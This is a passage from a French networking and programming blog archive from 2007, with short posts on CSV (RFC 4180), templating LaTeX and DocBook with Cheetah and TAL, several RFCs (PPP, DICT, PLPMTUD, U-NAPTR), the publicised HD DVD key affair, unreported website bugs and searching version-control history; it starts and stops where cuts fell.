psql -c "COPY $TABLE TO STDOUT WITH CSV" $DATABASE

Et, si on veut l'en-tête facultatif :

psql -c "COPY $TABLE TO STDOUT WITH CSV HEADER" $DATABASE

Autre problème liée à la normalisation tardive : des questions comme l'échappement des caractères sont laissées dans le vague. Mais la prime revient, comme souvent, à un logiciel Microsoft, en l'occurrence Excel, qui, dans sa version française, exige un point-virgule et pas une virgule comme séparateur ! Il ne peut donc pas lire le CSV « standard ».

Il existe des bibliothèques pour manipuler du CSV facilement dans tous les langages de programmation. En Python, je recommande le module csv standard. En C, il existe une libcsv.

Sur la difficulté à lire et écrire du CSV en pratique, on peut lire l'excellent « Alors comme ça tu veux faire du CSV ? » (en anglais, « So You Want To Write Your Own CSV code? ».)

Sur le Web, un examen de quelques fichiers CSV montre que peu de serveurs HTTP prennent la peine d'étiqueter avec le type correct. On trouve plus souvent text/plain. Un exemple de fichier CSV en ligne (et servi avec le type correct) est sur ce blog, en simple-http-transfer.csv. C'était un fichier pcap (simple-http-transfer.pcap), transformé en CSV grâce à tshark (commande tshark -r simple-http-transfer.pcap -T fields -E separator=, -e ipv6.src -e tcp.srcport -e ipv6.dst -e tcp.dstport -e tcp.flags -e frame.len ce qui fait que le fichier CSV comprend donc l'adresse IP source, le port source, l'adresse IP de destination, le port de destination, les booléens TCP et la longueur du paquet). Autre exemple correct, sur http://data.gouv.fr/, par exemple avec http://static.data.gouv.fr/e9/751955c5dd1f2953cb1296e64efc4fded236f22ccc064da82cae11ec5bb450.csv (c'est une liste de monuments historiques). Si le fichier CSV comprend l'en-tête optionnel mentionné plus haut (ce qui est le cas de celui de data.gouv.fr que je viens de mentionner), le type MIME devrait en théorie se terminer par un paramètre, ;header=present. En pratique, je ne l'ai jamais vu.

La section 5 du RFC, portant sur la sécurité, prétend que CSV ne contient que des données, pas de code, et ne pose donc pas de problèmes de sécurité à lire. C'est en fait excessivement optimiste avec Excel ou Google Spreadsheets.

Une des preuves de l'utilité de CSV est que mon article Transformer du XML en CSV est un des plus populaires, grâce aux nombreuses requêtes « Comment je transforme du XML en CSV ? » sur les moteurs de recherche.


Téléchargez le RFC 4180


L'article seul

Inclure des données calculées dans un document LaTeX

Première rédaction de cet article le 8 mai 2007


On a souvent besoin de mettre dans un document des données qui sont calculées, par exemple les unes par rapport aux autres (« trois serveurs à 1500 € font 4500 € ») soit extraites du monde extérieur, par exemple une base de données. Quelle est la façon la « meilleure » de le faire pour des documents LaTeX ?

Soit un document LaTeX avec un tableau comme :

\begin{tabular}{|l|r|r|r|}
\hline
\textbf{Poste} & \textbf{Coût unitaire} & \textbf{Quantité} & \textbf{Coût total} \\
\hline
\cline{1-4}
Café & 1,10 & 4 & 4,40\\
...

Je voudrais que les données soient calculées automatiquement, c'est-à-dire que le total change si je change le coût unitaire ou bien la quantité.

LaTeX s'appuyant sur TeX, qui est un langage de programmation complet, la solution la plus propre est sans doute d'utiliser TeX. Oui, mais voilà, je n'ai jamais appris ce langage et je n'avais pas envie de m'y mettre. Notons aussi que ce langage permet des calculs comme celui ci-dessus mais pas, par exemple, des accès à une base de données.

Pour l'instant, la solution que j'utilise n'est pas très élégante mais relativement simple et très puissante puisqu'elle utilise un langage complet, Python. Elle repose sur un système de gabarits, Cheetah. Voici un exemple de code LaTeX+Cheetah (le #echo étant l'instruction Cheetah pour afficher le résultat d'une expression Python) :

#set cout_unitaire = 1.10
#set quantite = 4
\begin{tabular}{|l|r|r|r|}
\hline
\textbf{Poste} & \textbf{Coût unitaire} & \textbf{Quantité} & \textbf{Coût total} \\
\hline
\cline{1-4}
Café & $cout_unitaire & $quantite & 
#echo $cout_unitaire * $quantite
\\
...

Ce code est traité ensuite par Cheetah :

% cheetah compile --iext tex_tmpl --oext tex_py propal.tex_tmpl
Compiling propal.tex_tmpl -> propal.tex_py
% python propal.tex_py > propal.tex

et on obtient un document LaTeX normal qu'on n'a plus qu'à traiter.


L'article seul

RFC 2889: Benchmarking Methodology for LAN Switching Devices

Date de publication du RFC : Août 2000
Auteur(s) du RFC : R. Mandeville (CQOS), J. Perser (Spirent)
Pour information
Première rédaction de cet article le 8 mai 2007


Dans la série des RFC traitant de tests de performance, celui-ci couvre les commutateurs.

S'appuyant sur le RFC 2285 qui décrit la terminologie et sur le RFC 2544, plus général, notre RFC est consacré à la difficile question des tests de performance des commutateurs.

Il détaille la marche à suivre, les tests auxquels il faut penser (par exemple les différentes tailles de trames recommandées, puisque les performances dépendent souvent de la taille de la trame), les pièges à éviter, etc.

Reste la question : est-il réellement utilisé ? Il semble que peu de tests comparatifs de commutateurs se réfèrent à ce RFC. La plupart de ceux qui le citent ont été réalisés par Spirent, la société d'un des auteurs, ou par les outils développés par cette société. On est encore loin d'une standardisation des tests de perfomance.


Téléchargez le RFC 2889


L'article seul

Inclure des données calculées dans un document XML avec TAL

Première rédaction de cet article le 7 mai 2007


On a souvent besoin de mettre dans un document des données qui sont calculées, par exemple les unes par rapport aux autres (« trois serveurs à 1500 € font 4500 € ») soit extraites du monde extérieur, par exemple une base de données. XML n'est pas un langage de programmation, uniquement un langage de description de données et il faut donc compter sur d'autres systèmes comme TAL.

Reprenons l'exemple de notre document décrivant les achats de serveurs informatiques. Mettons qu'il soit rédigé en Docbook. Si j'écris :


<para>Nous allons donc acheter 3 PC. 3 serveurs
à 1500 &#x20ac; font 4500 &#x20ac;.</para>

et que je modifie le prix d'un serveur parce que j'ai obtenu une réduction, le total ne va pas être recalculé automatiquement, le fichier XML étant statique. Avec OpenOffice, je suppose qu'on mettrait les chiffres dans le tableur et qu'on ferait un lien vers le tableur depuis le document texte. Mais il existe des tas de bonnes raisons d'utiliser plutôt Docbook et je n'ai donc pas cette possibilité. Une des approches serait de faire générer le fichier XML par un programme. Mais cela veut dire qu'au lieu de travailler avec un fichier XML relativement lisible par tous, on va travailler avec un source Perl ou Java, ce qui n'est certainement pas un progrès, d'autant plus que la partie calculée n'est qu'une faible portion de tout le document.

Une autre approche est d'ajouter, grâce au langage TAL quelques petits éléments calculés dans le document XML. TAL avait originellement été inventé pour Zope mais existe pour d'autres environnements. Sa grande force (par rapport à d'autres préprocesseurs) est qu'un document XML comportant du TAL reste un document XML et peut donc être manipulé par des outils XML. Mieux, TAL n'utilise que des attributs XML ce qui limite le risque de conflit avec, par exemple, des éditeurs XHTML qui pourraient s'étonner de rencontrer des élements XML inconnus.

Prenons donc un simple fichier Docbook avec du TAL :


<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook XML V4.4//EN" "http://www.oasis-open.org/docbook/xml/4.4/docbookx.dtd">
<article xmlns:tal="http://xml.zope.org/namespaces/tal">
<title>Achats de serveurs</title>
<para>Nous allons donc acheter <phrase tal:content="num_servers"/>
PC. <phrase tal:content="num_servers"/> serveurs à <phrase
tal:content="price_server"/> &#x20ac; font <phrase
tal:content="python: num_servers*price_server"/> &#x20ac;.</para>
</article>

Pour transformer ce document en pur Docbook, nous allons utiliser l'implémentation SimpleTal en Python.

from simpletal import simpleTAL, simpleTALES
import sys, os, re, logging

context = simpleTALES.Context(allowPythonPath=True)
simpleTALLogger = logging.getLogger ("simpleTAL")
simpleTALESLogger = logging.getLogger ("simpleTALES")
simpleTALLogger.setLevel (logging.ERROR)
simpleTALESLogger.setLevel (logging.ERROR)

# Les variables sont mises "en dur" dans le programme. Naturellement,
# dans la réalité, elles seraient plutôt lues dans un fichier ou une
# base de données.
context.addGlobal ("num_servers", 3)
context.addGlobal ("price_server", 1500)

if len(sys.argv) <= 1:
    sys.stderr.write("Usage: %s file...\n" % sys.argv[0])
    sys.exit(1)
    
for filename in sys.argv[1:]:
    templateFile = open (filename, 'r')
    template = simpleTAL.compileXMLTemplate (templateFile)
    templateFile.close()
    resultfile = open (re.sub ("_tal$", "", filename), "w")
    template.expand (context, resultfile, outputEncoding="UTF-8")

Ce programme peut s'exécuter ainsi :

% python generate.py achat-servers.db_tal   

et donne bien un fichier Docbook pur contenant les données calculées.

Si on veut valider le document Docbook (une bonne idée), le mieux (et le plus simple) est sans doute de le valider après la transformation en Docbook pur (ainsi, les effets de la transformation du TAL seront pris en compte). Toutefois, si on veut le valider avant, il faut utiliser une variante du schéma Docbook, prenant en compte les attributs TAL, par exemple, en Relax NG :

namespace tal = "http://xml.zope.org/namespaces/tal"

tal-define.attrib = attribute tal:define { text }?
tal-attributes.attrib = attribute tal:attributes { text }?
tal-condition.attrib = attribute tal:condition { text }?
tal-content.attrib = attribute tal:content { text }?
tal-replace.attrib = attribute tal:replace { text }?
tal-repeat.attrib = attribute tal:repeat { text }?
tal-on-error.attrib = attribute tal:on-error { text }?
tal-omit-tag.attrib = attribute tal:omit-tag { text }?
Tal.attrib =
       tal-define.attrib,
        tal-attributes.attrib,
        tal-condition.attrib,
        tal-content.attrib,
        tal-replace.attrib,
        tal-repeat.attrib,
        tal-on-error.attrib,
        tal-omit-tag.attrib

local.common.attrib &= Tal.attrib

L'article seul

RFC 4821: Packetization Layer Path MTU Discovery

Date de publication du RFC : Mars 2007
Auteur(s) du RFC : M. Mathis, J. Heffner (PSC)
Chemin des normes
Première rédaction de cet article le 4 mai 2007


La détermination de la MTU disponible entre deux nœuds de l'Internet n'a jamais été facile. Ce RFC propose un nouveau protocole pour cette tâche.

Entre deux machines quelconques connectées à l'Internet, par exemple un serveur HTTP www.example.org et son client, il est très souhaitable de pouvoir déterminer la MTU maximum du chemin qui les relie (Path MTU). En IPv6, c'est indispensable, les routeurs intermédiaires n'ayant pas le droit de fragmenter les paquets mais c'est également recommandé en IPv4, la fragmentation faisant chuter les performances (l'excellente page http://www.psc.edu/~mathis/MTU/ décrit en détail pourquoi il serait bon d'augmenter les MTU).

La méthode standard est décrite dans le RFC 1191 (et RFC 1981 pour IPv6) et est connue sous le nom de Path MTU discovery. Elle consiste à envoyer des paquets avec le bit DF (Don't Fragment) mis et à attendre les messages ICMP Packet Too Big (le vrai nom de ce message, spécifié dans le RFC 792 est fragmentation needed and DF set). Mise en œuvre depuis longtemps dans tous les systèmes, elle peut se tester avec certaines versions de traceroute qui disposent de l'option -M :

% traceroute-nanog -M 192.0.2.42
traceroute to 192.0.2.42, 64 hops max
MTU=1500
...
MTU=1492

On voit le passage de la MTU de départ du client (les 1500 octets d'Ethernet) à celle du chemin complet, limité à 1492 octets, probablement par une encapsulation PPPoE. (On peut aussi utiliser un tel outil depuis le Web en http://www.ncne.org/jumbogram/mtu_discovery.php.)

Mais cette méthode a un défaut : il faut que les paquets ICMP arrivent. Or, beaucoup de sites filtrent stupidement tout ICMP sur leur coupe-feu et, en pratique, cette méthode n'est donc pas fiable (le RFC 2923 détaille pourquoi).

Notre RFC propose donc une alternative, ne dépendant pas de la réception des paquets ICMP et fonctionnant donc en présence de « trous noirs » qui absorbent tous ces paquets ICMP. Il suggère tout simplement de tenir compte des paquets perdus, en supposant que si seuls les plus gros se perdent, c'est probablement qu'ils étaient plus gros que la MTU. La nouvelle méthode est donc d'essayer des paquets de différentes tailles et de surveiller les pertes. Les détails de l'implémentation dépendent du protocole utilisé.

Les protocoles comme TCP surveillant déjà les pertes de paquets, la modification nécessaire serait donc raisonnable (section 10.1). Notre RFC décrit aussi comment réaliser cette recherche de MTU pour d'autres protocoles comme SCTP ou même au niveau applicatif (section 10.4).

Notre RFC détaille aussi les pièges possibles. Par exemple, si certains équipements réseaux ont un comportement non-reproductible (la section 4 cite le cas de répéteurs Ethernet qui ne refusent pas les paquets trop gros mais n'arrivent pas non plus à les transmettre de manière fiable, leur horloge n'étant pas stable sur une période suffisamment longue), ce protocole ne peut pas fonctionner.


Téléchargez le RFC 4821


L'article seul

Je parle à mon moteur de recherche et il me répond

Première rédaction de cet article le 2 mai 2007


Lire les journaux de son serveur HTTP est une des distractions favorites de l'informaticien. En effet, beaucoup d'utilisateurs surestiment nettement les capacités de leur moteur de recherche et lui parlent en langue naturelle, entrainant parfois des résultats suprenants.


L'article complet

Le code de décryptage des DVD haute définition

Première rédaction de cet article le 2 mai 2007


Trouvé sur le blog de Cédric Manara, un nom de domaine très amusant, 09f911029d74e35bd84156c5635688c0.com, car c'est une clé cryptographique. Ce nom de domaine existe vraiment et n'a pas été choisi au hasard.

Dans leur lutte acharnée pour passer des menottes numériques aux acheteurs de produits multimédia, les compagnies qui fabriquent le DVD HD ont utilisé la cryptographie mais la clé est apparemment relativement simple à retrouver. Son découvreur l'a affiché sur Digg, par peur des représailles, Digg a supprimé le billet, le code « magique » s'est donc rapidement retrouvé sur des T-shirts, des blogs un peu partout et même dans le DNS par le biais du nom de domaine cité plus haut. Le site Web de ce domaine répond Internel Server Error mais peu importe puisque toute l'information utile est dans le nom.

Digg a finalement reposté l'article et le code :

09-f9-11-02-9d-74-e3-5b-d8-41-56-c5-63-56-88-c0

mais je ne l'ai pas testé moi-même.


L'article seul

RFC 4848: Domain-based Application Service Location Using URIs and the Dynamic Delegation Discovery Service (DDDS)

Date de publication du RFC : Avril 2007
Auteur(s) du RFC : L. Daigle (Cisco)
Chemin des normes
Première rédaction de cet article le 2 mai 2007


Les RFC 3401 et RFC 3403 décrivent un mécanisme riche et compliqué, le DDDS pour trouver les URI de services à partir de noms cherchés dans le DNS. Ce RFC spécifie une application de DDDS.

DDDS, reposant sur les compliqués enregistrements NAPTR (normalisés dans le RFC 3403), n'a pas été un grand succès. Il y a quand même eu plusieurs applications normalisées comme les S-NAPTR, du RFC 3958. Notre RFC étend légèrement les possibilités des S-NAPTR en créant les U-NAPTR.

Les enregistrements S-NAPTR ne permettaient pas d'utiliser les expressions rationnelles alors que les U-NAPTR de notre RFC les autorisent.

Par exemple, pour trouver un serveur LDAP, le S-NAPTR pouvait ressembler à :

  IN NAPTR 100   20   "s"   "WP:ldap"         ( ; service
                             ""                  ; regexp
                            _ldap._tcp.myldap.example.com. ; replacement
                                               )

alors qu'un U-NAPTR peut utiliser en plus l'option "u" (expressions rationnelles), par exemple :

   IN NAPTR 200   10   "u"    "EM:protA"        ( ; service
                             "!.*!prota://someisp.example.com!" ; regexp
                             ""                  ; replacement
                                               )

Le DNS peut donc ainsi servir de véritable annuaire, pas juste de table de correspondance entre noms et adresses.


Téléchargez le RFC 4848


L'article seul

RFC 2229: A Dictionary Server Protocol

Date de publication du RFC : Octobre 1997
Auteur(s) du RFC : Rickard E. Faith (U. North Carolina), Bret Martin (Miranda)
Pour information
Première rédaction de cet article le 1 mai 2007
Dernière mise à jour le 17 juin 2007


Un très simple RFC, pour décrire un protocole requête / réponse pour interroger un dictionnaire distant.

Suivant la tendance de son époque, le protocole DICT utilise un port spécifique pour le routage du message et est très direct : la requête est envoyée sur une ligne et la réponse partiellement structurée est renvoyée en échange. Plus riche que les protocoles plus anciens comme whois ou finger (par exemple, la réponse est précédée d'un code numérique, comme avec SMTP ou HTTP, permettant une analyse facile), DICT est quand même bien plus simple que les usines à gaz modernes, par exemple à base de SOAP. Et il dispose malgré cela de possibilités intéressantes comme celle de recevoir de l'Unicode.

Aujourd'hui, un tel protocole serait peut-être bâti sur REST mais, à ma connaissance, cela n'a pas encore fait l'objet de normalisation.

Tel qu'il est, DICT est très simple à programmer et c'est par exemple fait dans le module Emacs dictionary. Avec ce module, il suffit de mettre dans son ~/.emacs des lignes comme :

(global-set-key [f5] 'dictionary-search)
(autoload 'dictionary-search "dictionary" 
  "Ask for a word and search it in all dictionaries" t)
(autoload 'dictionary-match-words "dictionary"
  "Ask for a word and search all matching words in the dictionaries" t)
(autoload 'dictionary-lookup-definition "dictionary" 
  "Unconditionally lookup the word at point." t)
(autoload 'dictionary "dictionary"
  "Create a new dictionary buffer" t)
;(setq dictionary-server "dict.example.org")

et un appui sur <F5> affichera la définition du terme sur lequel se trouve le curseur.

Une autre solution est d'utiliser, en ligne de commande, l'excellent outil curl qui est client DICT. Par exemple, si on cherche la définition de corrugated dans le Webster, on trouve :

% curl dict://dict.org/lookup:corrugated:web1913
220 aspen.miranda.org dictd 1.9.15/rf on Linux 2.6.18-4-k7 <auth.mime> <4730178.11990.1182115574@aspen.miranda.org>
250 ok
150 1 definitions retrieved
151 "Corrugated" web1913 "Webster's Revised Unabridged Dictionary (1913)"
Corrugate \Cor"ru*gate\ (-g?t), v. t. [imp. & p. p. {Corrugated}
   (-g?`t?d); p. pr. & vb. n. {Corrugating} (-g?`t?ng).]
   To form or shape into wrinkles or folds, or alternate ridges
   and grooves, as by drawing, contraction, pressure, bending,
   or otherwise; to wrinkle; to purse up; as, to corrugate
   plates of iron; to corrugate the forehead.

   {Corrugated iron}, sheet iron bent into a series of alternate
      ridges and grooves in parallel lines, giving it greater
      stiffness.

   {Corrugated paper}, a thick, coarse paper corrugated in order
      to give it elasticity. It is used as a wrapping material
      for fragile articles, as bottles.
.
250 ok [d/m/c = 1/0/18; 0.000r 0.000u 0.000s]
221 bye [d/m/c = 0/0/0; 0.000r 0.000u 0.000s]

Les seuls dictionnaires accessibles par ce protocole que j'ai trouvées en ligne sont en anglais. Je n'en connais pas en français, les réalisations concrètes et utiles étant rares dans le monde de la francophonie (contrairement aux colloques de prestige). Ainsi, le dictionnaire de l'ATILF ne semble pas disposer d'une interface adaptée aux programmes (qu'elle soit bâtie sur DICT ou sur un autre protocole). Même chose pour le Wiktionnaire, malheureusement, même si un outil, apparemment à installer soi-même, existe.


Téléchargez le RFC 2229


L'article seul

RFC 1661: The Point-to-Point Protocol (PPP)

Date de publication du RFC : Juillet 1994
Auteur(s) du RFC : William Allen Simpson (Daydreamer)
Chemin des normes
Première rédaction de cet article le 25 avril 2007


L'increvable protocole PPP assure toujours une grande partie des connexions Internet dans le monde. Ce RFC relativement court décrit le fonctionnement de PPP.

PPP, comme son nom l'indique, sert aux liaisons point-à-point, par opposition aux réseaux partagés comme Ethernet. Initialement conçu pour remplacer SLIP sur les liaisons modem ou les liaisons série à très courte distance, ainsi que pour remplacer différents protocoles privés entre routeurs sur les WAN, il continue aujourd'hui sa carrière même sur ADSL avec PPPoE (décrit dans le RFC 2516).

PPP est dérivé de HDLC mais est considérablement plus simple. Il comprend trois parties :

  • Une méthode d'encapsulation des trames, dans la section 2 de notre RFC, proche de celle de HDLC,
  • Un sous-protocole, LCP (Link Control Protocol), de contrôle de la liaison, décrit dans le reste du RFC,
  • Et plusieurs protocoles de contrôle des protocoles réseaux situés plus haut, les NCP (Network Control Protocol). PPP travaille à la couche 2 et il est donc indépendant du protocole utilisé en couche 3, à part chaque NCP, qui, lui, dépend du protocole de couche 3. Il existe donc un NCP pour IPv4, IPCP, décrit dans le RFC 1332, un NCP pour IPv6, IPv6CP, décrit dans le RFC 5072, etc.

Dans les exemples de configuration PPP suivants, je prendrai comme référence le programme pppd, utilisé sur beaucoup de systèmes Unix, notamment Linux (les utilisateurs de FreeBSD préfèrent en général Userland PPP). Les messages affichés sont extraits du journal de pppd.

Voici par exemple la négociation LCP qui permet aux deux pairs de se mettre d'accord sur les options de la ligne (un gros avantage de PPP par rapport à SLIP) :


Apr 22 09:30:01 ludwigVI pppd[3055]: rcvd [LCP ConfReq id=0x3e <mru 1492> <auth chap MD5> <magic 0x7de8a7c3>]                                                              
Apr 22 09:30:01 ludwigVI pppd[3055]: sent [LCP ConfReq id=0x1 <mru 1400> <asyncmap 0x0> <magic 0x6a0c5efc> <pcomp> <accomp>]                                              
Apr 22 09:30:01 ludwigVI pppd[3055]: sent [LCP ConfAck id=0x3e <mru 1492> <auth chap MD5> <magic 0x7de8a7c3>]                                                              
Apr 22 09:30:01 ludwigVI pppd[3055]: rcvd [LCP ConfRej id=0x1 <asyncmap 0x0> <pcomp> <accomp>]
Apr 22 09:30:01 ludwigVI pppd[3055]: sent [LCP ConfReq id=0x2 <mru 1400> <magic 0x6a0c5efc>]
Apr 22 09:30:01 ludwigVI pppd[3055]: rcvd [LCP ConfAck id=0x2 <mru 1400> <magic 0x6a0c5efc>]

On notera que certaines options ont été rejetées par un des pairs (par exemple la compression pcomp).

PPP permet d'avoir une seule authentification pour tous les protocoles réseaux, gérée par LCP, et reposant en général sur les protocoles PAP ou CHAP.

On voit ici le dialogue CHAP. La machine a reçu un défi CHAP envoyé par le BAS et répond avec un NAI (RFC 7542) configuré par l'option name :


Apr 22 09:30:01 ludwigVI pppd[3055]: rcvd [CHAP Challenge id=0x1 <35de4b970986e23fc4447ee4416beada>, name = "BAS-CBV3-1"]
Apr 22 09:30:01 ludwigVI pppd[3055]: sent [CHAP Response id=0x1 <c43b7ad1c1cdc8aaa74273efdebb3af0>, name = "bortzmeyer@net2.nerim.nerim"]

LCP permet de définir des tests de la ligne (section 5.8 du RFC). On les active avec les options :

lcp-echo-interval 120
lcp-echo-failure 3

et on peut voir qu'ils sont régulièrement effectués :


Apr 22 09:30:02 ludwigVI pppd[3055]: sent [LCP EchoReq id=0x0 magic=0xa1ce4573]
Apr 22 09:30:02 ludwigVI pppd[3055]: rcvd [LCP EchoRep id=0x0 magic=0xe8d1ffb5]

PPP permet de configurer la MRU (Maximum Receive Unit) de la ligne, souvent une source d'ennuis importante (voir par exemple le RFC 4638). Avec pppd, c'est :

mtu 1492
mru 1400

et cela donne, dans la négociation :


Apr 22 09:30:01 ludwigVI pppd[3055]: sent [LCP ConfReq id=0x1 <mru 1400> <asyncmap 0x0> <magic 0x6a0c5efc> <pcomp> <accomp>]                                              

pppd et, bien sûr, le protocole PPP lui-même dispose de nombreuses autres options.


Téléchargez le RFC 1661


L'article seul

« Personne ne s'est plaint ! »

Première rédaction de cet article le 24 avril 2007
Dernière mise à jour le 19 octobre 2007


Cette affirmation est très fréquente lorsqu'on fait remarquer à l'auteur d'un logicel, ou au responsable d'un site Web que son œuvre a des faiblesses ou des bogues. Est-ce vrai ?

Panoramix : « Et les fouets, c´est pour faire joli ? » Numérobis (qui fait fouetter ses esclaves) : « Non... euh... oui, enfin, je sais pas... Personne s´est jamais plaint. » (extrait du film Astérix & Obélix : Mission Cléopâtre)

Essayez de dire à un webmestre typique que son site ne marche pas bien avec Firefox, que son programme Javascript de tests des adresses est bogué ou que son code CSS contient des erreurs. Il y a de grandes chances qu'il vous fasse remarquer que « Personne ne s'est plaint ! » Les auteurs de logiciels ont parfois le même défaut, quoique apparemment moins accusé.

Le webmestre ment-il et vous cache t-il l'impressionnante quantité de rapports de bogue qu'il a reçue ? Pas forcément. D'abord, très peu d'utilisateurs signalent les problèmes. Ils ont honte, sont convaincus que la faute vient de chez eux et n'osent pas déranger ces mystérieuses entités qui s'occupent des sites Web. Ensuite, même lorsqu'ils ont l'intention de se plaindre, ils le font rarement de manière suffisamment précise et détaillée (en donnant des détails sur leurs actions, en copiant les messages d'erreur exacts, etc) pour qu'on puisse honnêtement en tenir compte.

Mais surtout, la plupart des sites Web sont gérés de manière à ce que les responsables ne soient pas embêtés par des rapports envoyés par les utilisateurs ; l'adresse du responsable est soigneusement dissimulée, voire absente du site, le formulaire « Contact » est en panne, le courrier est envoyé à un service chargé de faire semblant de le lire et/ou à une adresse que le webmestre ne lit pas, etc.

Prenons un exemple typique, celui d'un parc d'attractions dont je regardais le site Web. Aujourd'hui, il est totalement inutilisable depuis Firefox ou Konqueror. Je vois bien la page d'accueil mais aucun lien ne fonctionne lorsque je clique dessus. Cherchons à prévenir le webmestre gentiment :

  • webmaster@example.com (ou webmaster@example.fr) n'existe pas : le courrier rebondit (avec un message bizarrement formaté, probablement de l'UTF-7) « Cette notification d'+AOk-tat de remise est g+AOk-n+AOk-r+AOk-e automatiquement. +AMk-chec de la remise aux destinataires suivants. webmaster@example.com »).
  • Les adresses citées dans le DNS (dans l'enregistrement SOA) ou bien récupérées via whois donnent le même résultat.

Bref, aucun moyen d'embêter le webmestre avec des problèmes concrets. Il pourra donc continuer à affirmer « Personne ne s'est plaint ! » sauf s'il lit ce blog ou bien les textes équivalents. Apparemment, c'est le cas puisque, après la première publication de cet article, j'ai rapidement été contacté par ledit webmestre (et c'est pour cela que j'ai retiré le nom du parc en question, puisque ce problème de contact est résolu). Mais cela ne se termine pas toujours aussi bien.

Par exemple, au moment où je mets à jour cet article (octobre 2007), il n'y a aucun responsable qui se tient au courant des problèmes (encodage incorrect) avec la lettre d'information de Vélib'. Cette lettre est envoyée par un domaine inconnu, centraldoc.com, dont les liens avec la Mairie de Paris ou bien avec la société concessionnaire, JC Decaux, sont mystérieux, et le responsable dans ce domaine est aux abonnés absents :

  velib@centraldoc.com
    Permission denied:
    creating lock file hitching post /var/spool/virtual/centraldoc.com/velib.lock.da9178.oxyd.net.47112444.000031fe (euid=502 egid=12):
    retry timeout exceeded

Écrire à postmaster de ce domaine ou bien à postmaster@velib.paris.fr ne résoud rien :

<postmaster@velib.paris.fr>>: connect to velib.paris.fr[81.252.90.144]:
    Connection timed out
  

Bref, encore un domaine où les responsables ne risquent pas d'être embêtés par les râleurs.


L'article seul

Voyage dans le passé d'un code source avec un VCS

Première rédaction de cet article le 13 avril 2007
Dernière mise à jour le 7 mai 2007


Les VCS (Version Control System ou Systèmes de Gestion de Versions) sont indispensables au développeur de logiciel pour garder trace des étapes successives du développement. Mais ils ne permettent pas facilement de retrouver une version particulière par son contenu.

Tous les VCS permettent de facilement extraire une version particulière d'un fichier si on connait des métadonnées comme le numéro de version ou comme la date. Par exemple, avec Subversion, voici comment récupérer la version 104 de icp.h :

% svn update -r104 icp.h
UU   icp.h
Updated to revision 104.

Et, avec CVS, voici comment récupérer la version du 1er octobre 2002 :

% cvs update -D '2002-10-01' nameserver.rb
P nameserver.rb

Le problème survient lorsqu'on veut remonter dans le temps en utilisant le contenu du fichier et pas ses métadonnées. Exemples typiques : « Qui a introduit la fonction foobar() et pourquoi ? » ou bien « Qui a supprimé le test CHECK_THING et pourquoi ? » Il n'y a pas cette fois d'option toute faite et chaque VCS va nécessiter une méthode particulière.

Il y a quatre fonctions à implémenter :

  • 1) À quelle date est apparue telle chaîne de caractères dans tel fichier ?
  • 2) À quelle date a disparu telle chaîne de caractères dans tel fichier ?
  • 3) À quelle date est apparue telle chaîne de caractères (on ne connait pas le fichier) ?
  • 4) À quelle date a disparue telle chaine de caractères (on ne connait pas le fichier) ?

Avec les conditions suivantes :

  • On n'a pas accès au dépôt (pour les VCS centralisés comme Subversion) qui, de toute façon, est souvent en binaire (CVS ou Subversion-FSFS font exception), donc pas très lisible. C'est le cas d'un développeur d'un projet hébergé à Sourceforge, s'il n'est pas administrateur du projet.
  • On suppose qu'il n'y a qu'une seule apparition ou disparition (pas de chaîne de carctères qui serait ajoutée puis supprimée puis réajoutée)

Pour Subversion, le plus simple est d'utiliser son API très complète, ici depuis un programme Python qui récupère successivement les différentes versions d'un fichier (en remontant vers le passé) jusqu'à trouver le motif recherché :

% grephistory.py -a getaddrinfo echoping.c
"getaddrinfo" was added (as "getaddrinfo") in echoping.c at revision 152

% svn log -r 152 echoping.c     
------------------------------------------------------------------------
r152 | bortz | 2002-09-25 15:00:29 +0200 (Wed, 25 Sep 2002) | 2 lines

First IPv6 version

% grephistory.py -l gethostbyname echoping.c 
"gethostbyname" was deleted (as "gethostbyname") from echoping.c at revision 152

Le programme en question (qui ne met en œuvre que les deux premières fonctions listées plus haut, celles où on connait le nom du fichier) utilise l'interface Subversion de Python.

Vu l'algorithme utilisé, le programme est parfois très lent. Kim Minh Kaplan me fait remarquer qu'il serait préférable d'utiliser une recherche dichotomique. Si la révision actuelle est la 1000, l'algorithme actuel teste successivement les versions 999, 998, etc. Avec une recherche dichotomique, pour un ajout, il regarderait si la chaîne de caractères était déjà là à la révision 500 (1000 / 2), si oui, si elle était déjà présente à la révision 750, si non, à la 250, etc. La recherche serait donc en O(log(n)) au lieu d'être en O(n).

Mais la recherche dichotomique n'est pas stable. Si le motif cherché a été ajouté à la révision 400, retiré à la 600 et re-ajouté à la 800, l'algorithme bête trouvera toujours la 800. La recherche dichotomique peut donner 400 ou 800 selon la façon dont se fait le partitionnement. Donc, si la deuxième condition donnée plus haut (pas d'ajouts et de retraits multiples) est remplie, la recherche dichotomique est efficace. Sinon, elle est dangereuse.

Pour CVS, le même algorithme est possible, mais sa mise en œuvre est plus compliquée car il n'existe pas d'API. Il faut appeler les commandes CVS comme cvs log et cvs export successivement et analyser le résultat. Certains cas sont plus simples. Par exemple, pour trouver l'apparition d'une chaîne de caractères (fonction 1 dans notre liste) cvs annotate $FICHIER | grep -A3 -B3 $CHAINE est presque suffisant.

Une autre approche, si on a accès au dépôt CVS, est de regarder directement le fichier ${FICHIER},v (un simple fichier texte) qui contient tout l'historique.

Pour darcs, le cas est un peu différent. Comme darcs est un VCS décentralisé, on a forcément tout le dépôt sur sa machine, avec tout l'historique. Donc, zgrep -- $CHAINE _darcs/patches/* peut être un bon point de départ.

Kim Minh Kaplan suggère une meilleure solution, la commande trackdown (renommée test dans les dernières versions) par exemple pour chercher l'apparition de la chaîne "atom" dans le fichier Site.tmpl (avec l'aide de David Roundy car cette commande n'est pas d'un usage facile) :


% darcs trackdown -v '! grep -i atom Site.tmpl'
...
Trying without the patch:
Fri Dec 16 10:57:11 CET 2005  bortzmeyer@batilda.nic.fr
  * Auto-discovery of the Atom feed
Success!

Un autre VCS décentralisé, Mercurial, fournit une commande toute faite pour chercher dans l'historique, nommée logiquement grep (merci à Mathieu Arnold).

% hg grep --all -i sarkozy presidents.txt
presidents.txt:18:+:Nicolas Sarkozy

Le 18 est le numéro de la révision locale. hg log -r 18 presidents.txt nous en dira plus sur cette révision.

Pour les autres VCS, les contributions des lecteurs de ce blog sont les bienvenues.


L'article seul

RFC 4838: Delay-Tolerant Networking Architecture

Date de publication du RFC : Avril 2007
Auteur(s) du RFC : V. Cerf (Google / JPL), S. Burleigh (JPL), A. Hooke (JPL), L. Torgerson (JPL), R. Durst (MITRE), K. Scott (MITRE), K. Fall (Intel), H. Weiss (Sparta)
Pour information
Première rédaction de cet article le 13 avril 2007


